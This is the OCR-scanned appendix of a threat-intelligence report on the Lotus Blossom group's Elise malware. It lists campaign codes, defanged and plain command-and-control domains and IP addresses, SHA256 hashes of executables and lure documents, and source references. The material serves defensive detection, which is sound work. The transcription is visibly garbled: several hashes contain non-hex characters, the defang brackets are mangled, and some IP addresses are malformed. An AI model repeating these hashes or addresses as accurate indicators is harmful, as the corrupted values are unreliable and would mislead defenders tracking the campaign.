Campaign Code Alice_erpas
Command and Control www.boshman09[.Jcom

www.chris201[.Inet
58.64.183[.192

SHA256 a98db2098fe9e3e203bed8318ae1d71e8a7b68f801613be10f3917baad7b49b2
Campaign Code jessica-cpt-app
Command and Control www.serchers[.]net

www.aliancesky[.Jcom
162.211.181[.]107
58.64.183[.192
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SHA256 233af642b3e22613551e087a7cefcf2a530752dab613efc52da7¢cb957cbh8f0f3
Campaign Code KITY020901

Command and Control 46.251.237[.159
www.tintuchoahaul.Jcom

SHA256 b1e30dd3ad2c3290adad848f7199e03f365ecf484ckbcbcTeaf42f6b323cd30b
Campaign Code KITY020901

Command and Control 46.251.237[.159
www.tintuchoahaul.Jcom

SHA256 9a226eeaelfc51a2bc2e72b098d5654238d0cc8eae29c0cdaach49ae9d997d04
Campaign Code QY030610

Command and Control 95.154.195[.]152
www.vienclp[.Jcom

SHA256 463c6cbffb8ecf2df44e294818dd500457807ff126dd658c5fe329c09f43abe0
Campaign Code KITYD1232

Command and Control 95.154.195[.1152
www.vienclp[.Jcom

SHA256 3a806f8efa338c871b1338a5db8af4128012559d09b06ab997db50a0f90434b1
Campaign Code KITYD1232

Command and Control 95.154.195[.1152
www.vienclp[.Jcom

SHA256 8ce0b29202f3df23ce583040e2ffe79af78e0bb375ceb5ec37abffe7d49b5bb5
Campaign Code QY030610

Command and Control 95.154.195[.]152
www.vienclp[.Jcom

SHA256 2551f95845ad83ebc56853442bh75¢11517e99fe0196ech30f80e5b203c9a9ff
Campaign Code QY030610

Command and Control 95.154.195[.]152
www.vienclp[.Jcom

SHA256 e4a4t60db653c8df4223eckb6a0237943be5de0da92b04a3bf76053fa1401b19e
Campaign Code e[efe]ele}
Command and Control boshman09[.Jcom

chris201[Inet

58.64.183[.192
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SHA256 O0adbf0f6a5c21054e569b2ef68c8cbae7834a0700672c1f3ecée50daf4s9a3a94
Campaign Code oyf

Command and Control www.boshman09[.Jcom
www.chris201[ Inet
210.209.79[.129

Campaign Code 36-SC-0114

Command and Control 103.244.91[116
162.211.181[.126
101.55.120[.]1165

beckhammer.xicp[.Jnet

newinfo32.eicp[.net

Campaign Code 36-SC-0127

Command and Control www.interhero[.Jnet
101.55.120[.1165
101.55.120[.]1153

www.babysoall.Jcom

beckhammer.xicp[.Jnet

SHA256 0201aaa8edabédedcé6c90381e225620cd33fb7b244f76bf229c3dd43feb9bdeaf
Campaign Code Alice_rosey

Command and Control 210.209.127(.18
www.boshman09[.Jcom

www.chris201[.Inet
45.64.113[.]130

SHA256 f0304a1f7d87ac413f43a815088895872he0045a33c5f830b4h392a7ce5h8c4ké
Campaign Code 340-dfa-1007
Command and Control usa-moonl.Jnet

aseanecol.Jorg

103.28.46[.196

SHA256 fd6302a152b0a2eff84b6ef219db5d79b6039043dfd5799ac9a4alcced58e8bd
Campaign Code 370my0216
Command and Control 113.10.222[.1157

www.tgecc[.Jorg

SHA256 00c0e0c14835¢c08d220ef27ef6324df86880167d4161f7183d7df241ffebc3f8
Campaign Code 000
Command and Control www.boshman09[.Jcom

www.chris201[.Inet
210.209.791.129
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SHA256 8e180a9d7f233c189519bbfa2b649cask10c4869457e0cf8396beb82ffbffd05c

Campaign Code 000

Command and Control www.boshman09[.Jcom
www.chris201[ Inet
210.209.79[.129

SHA256 b0ffb80762f25935415a7ffd6b9402a23¢c2bbb4dc4921419ef291160cf7f023b
Campaign Code Alice_15A

Command and Control 210.209.127[.18
www.boshman09[.Jcom

www.chris201[.Jnet

SHA256 093e394933¢c4545ba7019f511961b9a5ab91156cf791f45de074acad03d1a44a

Campaign Code Alice_rosey

Command and Control 210.209.127(.18
www.boshman09[.Jcom

www.chris201[.Inet
45.64.113[.]130

SHA256 8e7c198e1eaabbe2d1415be3001c217634ae207h8f912e9a84afb6cb6016aa4é67e
Campaign Code 000
Command and Control www.boshman09[.Jcom

www.chris201[.Inet
210.209.791.129

SHA256 97d6699e449ddad97cc33e380a4873a7ceb0e8f0f50b5c8f72e6a4ff3dd1009f
Campaign Code phone
Command and Control usa-moon[.Inet

aseanecol.Jorg
103.252.19[.]13

SHA256 b53f98¢113e7f72ff5170dcdb2ab2b1c15a02aadb72b2d2710d899aea9b875hd
Campaign Code phone
Command and Control usa-moon[.Jnet

aseanecol.Jorg
103.252.19[.113

SHA256 b2232492776267599307309e9d8874aac25e7cb31b155b0ca05349312690372f
Campaign Code cyd-zc
Command and Control 101.55.121[.147

118.193.212[.161

SHA256 64ffe128c61289bec90057c7bf3ff869c329ffcb1afastcécdOdaedeffabf105
Campaign Code cyd-zc
Command and Control 101.55.121[.]47

118.193.212[.161
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Elise Executable SHA256 values

0201aaa8edabdedc6c90381e225620cd33th7b24476bf229¢c3dd43feb9bdeaf
1333a300b03fb2d7bf028f4dee3d9b1f9c97267266faec9e02064862fbbbachs
135e37122¢23f26fed98b3bc884171¢91¢370250a73c6660020416497b66a750
24bb8e48f37chd71b2195¢ff4f52ec304a2ed9d60c28d2afd785e6f32639325f
2c2eb2eaadf9253a78265ac4655a6ec5935aa2673ff5e4fe3bb6753803¢c7fe59
2¢512b50f8aa0881120d844b0bbbf7baa33465083fdc85755d51d1b5721bc057
2d43632953b511e1f1¢7698de3c21b2ba7¢27b75bb6079f51dcf9376e05e42b7
376¢3eab59411380ab5146b3bc39ee79cf7f78008dd712ef1cch327bdaba2e46b
39dd2381bcd0f47dadf23399254bf1b51a837179e5634328afafe07510f5888a
3eb115f4eb62c4404be1a318afa3837bdba8fd66938efe 1566474 1d942a85add
49bf19bd2381f5c78eb2d00a62e1b377620705dba0fa843fb8c8d26d92ech52e4
4ded70147d90efbb440aad420a5832b4f22f9f6128183568fe604df6427cc06b
4ff70adad080095421f34873e491c9da2e798f8db96a98487efb9889d246fch
5960d8f8b26edb453926efbd424332eabcOel1a74e25dbc1e9a570cc5920¢8830
64ffe128c61289bec90057c7bf3ff869c329ffcb1afadcdcd0daed effabf105
712c488950f27e98bcdebebh63e5775498236a179¢ch4576bf021f8e6e6de0df4
7b2d470b9¢c6159c97cef2634493be0e42994f43501605a14d4cba7efdeac3ba
7e386ff64be78af18f8a79d01cb75b0438chcee4647e0a928100bd52ee56db76
840d18698ff0b114ee587f57231001d046fbd1eb22603e0f951cbb8c290804ed
866c698073e4deb66dd83c1ec9567ec03eca9f03775deadb81cch9fdb6efd446
899730962e10546¢9d43a9ffa79d900fd37¢c0d17f95aab37b67d31aa737447b5
8b4446cfaeeb49072c5da2468af7b9fec711f2d28851a3e8076fcfb53393a415
8c2cd914de7c125e49019f3826918511150ee4ff82a923da350a99¢102b36455
8ce0b29202f3df23ce583040e2ffe79af78e0bb375ce65ec37a6ffe7d49b5bb5
8f7c74a9e1d04ff116e785f3234f80119d68ae0334fb6a5498f6d40eee189cf7
90296f0ecacc017bcf28929715743660dd18bbc2842e631e9bedb2dc51732412
96356db43d7e9abc3c4e3f9f7ee9al3dbaldad1c7db7367b7f6d664db4f0efbd7
97d6699e449ddad97cc33e380a4873a7ceb0e8f0f50b5¢c8f72e6a4f3dd1009f
9ebc286fccd7¢c8346267574ea805cde24b04915f5372f03923c0d6a13290e0ea
a462085549f9a1fdeff81a8190a1f89351a83cf8f6d01ech5f238541785d4b3
a8e0ab6b19400eccd3c9aceb183fe7626db5bde7bdf9b8ec8825aa17¢cc3a213a3
b5a1f7e9d0d6d3bec17674610a3b26991083e1e3ch81729714b69¢18038a902f
bd78e106f208cbb8eale5902d778514f1fc2d15876fca292971c6695541889a3
d68a90fbe579a8199d78ef9ca001301e2¢55a3015d4e3df3c238c276ed7cclce
dc06012b4daef457efbOech9cdcab79bb573823a1a63bb7a2ba92¢c7ce0c2ddbfb
€2181b3d47feb5a321fe3b85b08a0245a1e0824b213e568fa4736d529fd5f8c2
e4a460db653c8df4223ec466a0237943beb5de0da92b04a3bf76053fa1401b19e
edb45f03dfd52ab58f163ad2cad8f4bcIcdbch72€a9181d0e0a1d87859f707a6
f0304a1f7d87ac413f43a815088895872be0045a33¢c5f830b4b392a7ce5b8c46
f307280077b2a60d991a68c5700chch7fe0ab6ec005cabalb0bccaddbcbale2f
fb506b8dd4025e247ac2fa12ffd46fd1cbh6a06a138995a5chdad49074d5671615
fd2d9011ec860ba211d169063248d13d17425f210ff87a6¢5a6 1004704866339
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Elise Delivery Document SHA256 values

9a226eeae1fcb1a2bc2e72b098d5654238d0cc8eae29c0cdaach49ae9d997d04
7€917319e2af9457¢35afbb539c09233da2e02d6a64f970706dae9f6¢3¢c791eb
€19d3242d43c71f03f5873231444¢12a6a11892dd7f0142ff10479f1f718382d
dc61e089eebf6falb3abf637ce105e0d20666aa52d9001f5fd5034815331¢d61
fd6302a152b0a2eff84b6ef219db5d79b6039043dfd5799ac9ad4alcced58e8bd
€9971de22a922678fc216e9e3923c7e6b21455ddfbb24eb46e50e1cc7ceacc3
d9174d6bbcb51d3df186794109cd6b203616231¢f8733290eadd399bf8137055
b53f98c113e7f72ff5170dcdb2ab2b1c15a02aadb72b2d2710d899aea9b875bd
b2232492776267599307309e9d8874aac25e7cb31b155b0ca05349312690372f
463c6c6ffb8ecf2df44e294818dd500457807ff126dd658c5fe329c09f43a6e0
3d2c6d48425212eabb886c2e7e89249e4aa8cf4ad9ec3dd22cafh4f879683d8b
093e394933¢4545ba7019f511961b9a5ab91156¢f791f45de074acad03d1a44a
b0ffb80762f25935415a7ffd6b9402a23c2b6b4dcd921419ef291160cf7f023b
8e180a9d7f233¢189519bbfa2b649cad10c4869457e0cf8396beb82ffbffd05¢
8e7¢198e1eaabbe2d1415be3001¢217634ae207b8f912e9a84af6¢c6016aa467¢e
00c0e0c14835c08d220ef27ef6324df86880167d416ff7183d7df241ffebc3f8
0adbf0f6abc21054e569b2ef68c8c6ae7834a0700672¢1f3ec6e50daf49a3a94
96410865d46cda89c7¢34c60d485¢2378a98acbba7eadbada90daa02a94ba299
a98db2098fe9e3e203bed8318ae1d71e8a7b68f801613be10f3917baad7b49b2
b1e30dd3ad2c3290adad848f7199e03f365ecf484c44c6c7eaf42f6b323cd30b
4780442f3cc8d3e1888aabcechbb05d0c49a6755964eba7a8a6a36d6d2a0ef881
bae07b0c3e4e96731360dc4faa49c0d4abedd3705e768393f21661c82dea13f3
65c901b19e2eec6b8392100¢1073253641a95dd542f39¢c9ca95755e8a2afde 14
30f117e848¢79212f70794d718d0f3929¢24e0f3d28695a7c85a85¢77ab7aac9
0752bbdb0c51a519f17a62dd30a033¢224¢82168522f2¢88949b1a0afc8f9037
b9681c178e087140344e6aec2630c61f6a7be92e97ebbe7ce10528f6f0e6028f
6eae10f0b9a62a26b1989717ba627f92e93e458034939f55f2001835c0e1f1be
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Lotus Blossom Command and Control Servers

101.55.120.153
101.55.120.165
101.55.121.47
103.244.91.16
103.246.245.146
103.252.19.13
103.28.46.96
113.10.136.18
113.10.222.157
118.193.212.61
122.10.89.84
122.10.89.85
142.91.252.130
162.211.181.107
162.211.181.26
173.231.49.98
184.22.44.209
202.77.181.179
202.82.202.228
202.82.91.139
203.218.138.30
210.209.1278
210.209.79.29
218.103.16.153
23.234.63.197
27.255.64.231
45.64.113.130
46.251.23759
50.711.10
58.64.183.92
59.188.247.32
59.6.2.16
61.58.31.102
95.154.195.152
asean-star.com
aseaneco.org
aseansec.dynalias.org
beckhammer.xicp.net
boshman09.com
chris201.net
cpcl2006.dyndns-free.com
cybertunnel.dyndns.info
harryleed.dyndns.org
jackyson.dyndns.info
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kid.dyndns.org
kjd.dyndns.org
newinfo32.eicp.net
newshappys.dyndns-blog.com
petto.mooo.com
phil-army.gotdns.org
phil-gov.gotdns.org
scristioned.dyndns-web.com
shotacon.dyndns.info
usa-moon.net
verolalia.dyndns.org
wsi.dyndns.org
www.aliancesky.com
www.babysoal.com
www.boshman09.com
www.chris201.net
www.iascas.net
WWWw.imonju.com
www.imonju.net
www.interhero.net
www.seachers.net
www.serchers.net
www.tgecc.org
www.tintuchoahau.com
www.vienclp.com
www3.bkav2010.net

I Triangle of Life. Snopes. December, 2009. http://www.snopes.com/inboxer/household/triangle.asp

i Targeted Attack Trends 2013 2H. Trend Micro Inc. May 19, 2014.
http://www.itu.int/en/ITU-D/Cybersecurity/Documents/2H_2013_Targeted_Attack_Campaign_Report.pdf

i Targeted Attack Trends in Asia-Pacific. Trend Micro Inc. Nov. 20, 2014. http://www.trendmicro.co.in/in/
cloud-content/apac/pdfs/security-intelligence/reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf

v BKDR_ESILE.SMEX. Trend Micro Inc. May 28, 2013.
http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_ESILE.SMEX

v ESILE Targeted Attack Campaign Hits APAC Governments. Trend Micro Inc. July 28, 2014.
http://www.trendmicro.com.my/vinfo/my/security/news/cyber-attacks/
esile-targeted-attack-campaign-hits-apac-governments

Vi Analysis of Malware Page. Singh, Abhishek. Sept. 12, 2012.
https://www.fireeye.com/blog/threat-research/2012/09/analysis-of-malware-page.html

vi'Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight
MH 370. Moran, Ned & Lanstein, Alex https://www.fireeye.com/blog/threat-research/2014/03/
spearphishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html
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